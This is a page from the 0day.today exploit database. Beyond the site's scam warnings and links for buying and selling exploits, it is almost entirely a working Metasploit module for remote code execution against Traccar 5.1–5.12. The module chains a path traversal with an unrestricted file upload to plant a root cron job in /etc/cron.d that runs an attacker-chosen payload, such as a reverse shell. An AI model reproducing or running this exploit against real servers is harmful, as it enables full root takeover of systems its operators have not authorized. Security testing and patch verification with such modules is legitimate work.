0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Traccar 5.12 Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)', 'Description' => %q{ Remote Code Execution in Traccar v5.1 - v5.12. Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'Michael Heinzl', # MSF Module 'yiliufeng168', # Discovery CVE-2024-24809 and PoC 'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC ], 'References' => [ [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'], [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'], [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'], [ 'CVE', '2024-31214'], [ 'CVE', '2024-24809'] ], 'DisclosureDate' => '2024-08-23', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'linux' ], # tested with cmd/linux/http/x64/meterpreter/reverse_tcp 'Type' => :unix_cmd } ] ], 'Payload' => { 'BadChars' => "\x27" # apostrophe (') }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 75 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options( [ Opt::RPORT(8082), OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]), OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]), OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]), OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/']) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/server') }) return CheckCode::Unknown unless res && res.code == 200 data = res.get_json_document version = data['version'] if version.nil? return CheckCode::Unknown else vprint_status('Version retrieved: ' + version) end unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12')) return CheckCode::Safe end return CheckCode::Appears end def exploit prepare_setup execute_command(payload.encoded) end def prepare_setup print_status('Registering new user...') body = { name: datastore['USERNAME'], email: datastore['EMAIL'], password: datastore['PASSWORD'], totpKey: nil }.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/users'), 'ctype' => 'application/json', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end auth_status = false # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error # to run into when this module is executed more than once without updating the provided email address if res.code == 400 && res.to_s.include?('Unique index or primary key violation') print_status('The same E-mail already exists on the system, trying to authenticate with existing password...') res = send_request_cgi( 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api/session'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'email' => datastore['EMAIL'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.') fail_with(Failure::UnexpectedReply, res.to_s) end auth_status = true end unless res.code == 200 fail_with(Failure::UnexpectedReply, res.to_s) end json = res.get_json_document unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end if auth_status == false print_status('Authenticating...') res = send_request_cgi( 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api/session'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'email' => datastore['EMAIL'], 'password' => datastore['PASSWORD'] } ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL'] fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end end end def execute_command(cmd) name_v = Rex::Text.rand_text_alphanumeric(16) unique_id_v = Rex::Text.rand_text_alphanumeric(16) body = { name: name_v, uniqueId: unique_id_v }.to_json print_status('Adding new device...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/devices'), 'keep_cookies' => true, 'ctype' => 'application/json', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end json = res.get_json_document unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id') fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) end id = json['id'].to_s body = Rex::Text.rand_text_alphanumeric(1..4) fn = Rex::Text.rand_text_alpha(1..2) print_status('Uploading crontab file...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => 'image/png', 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?('device.png') fail_with(Failure::UnexpectedReply, res.to_s) end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => "image/png;#{fn}=\"/b\"", 'data' => body ) unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"") fail_with(Failure::UnexpectedReply, res.to_s) end body = "* * * * * root /bin/bash -c '#{cmd}'\n" cronfn = SecureRandom.hex(12) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), 'keep_cookies' => true, 'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"", 'data' => body ) register_file_for_cleanup("/etc/cron.d/#{cronfn}\"") unless res fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') end unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"") fail_with(Failure::UnexpectedReply, res.to_s) end vprint_status('Cleanup: Deleting previously added device...') res = send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"), 'headers' => { 'Connection' => 'close' } ) unless res print_bad('Failed to receive a reply from the server, device removal might have failed.') end unless res.code == 204 print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s) end # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early print_status('Cronjob successfully written - waiting for execution...') end end # 0day.today [2024-09-28] #